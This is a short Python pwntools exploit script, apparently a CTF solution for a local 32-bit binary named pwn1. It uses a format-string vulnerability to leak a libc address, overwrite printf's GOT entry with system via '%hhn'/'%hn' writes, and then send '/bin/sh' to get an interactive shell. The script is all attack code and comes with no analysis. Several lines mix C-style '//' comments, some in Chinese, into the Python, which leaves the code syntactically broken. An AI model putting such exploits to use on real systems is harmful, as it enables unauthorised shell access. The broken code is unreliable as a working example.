1 from pwn import*

 2

 3 local =1

 4 debug = 1

 5

 6 if local:

 7     p = process('./pwn1')

 8 else:

 9     p = remote("127.0.0.1",8080)

10

11 #context.log_level = 'debug'

12 '''

13 if debug:

14     gdb.attach(p)

15 '''

16 def fms(data):

17     p.recvuntil("input$",timeout=4)

18     p.sendline("")

19     p.recvuntil("please input your name:\n")

20     p.sendline(data)

21

22

23 libc = ELF("/lib/i386-linux-gnu/libc.so.6")

24 elf = ELF('./pwn1')

25

26 fms('%35$p')

27

28 libc_start_main_addr = int(p.recv(10),16) - 243    #__libc_start_main//?

29 libc_addr = libc_start_main_addr - libc.symbols['__libc_start_main']//?

30 print "libc_addr =",hex(libc_addr)

31

32 printf_got = elf.got['printf']//got表地址

33 print "printf_got =",hex(printf_got)

34

35 system_addr =libc_addr + libc.symbols['system']//symbols['system']函数地址

36 print "system_addr =",hex(system_addr)

37 //ELF模块

38 #make stack

39 make_stack = 'a' * 0x30 + p32(printf_got) + p32(printf_got + 0x1)

40 fms(make_stack)

41 #gdb.attach(p)

42

43 payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn"

44 payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn"

45 print "payload=",payload

46

47 fms(payload)

48 fms('/bin/sh\x00')

49 p.interactive()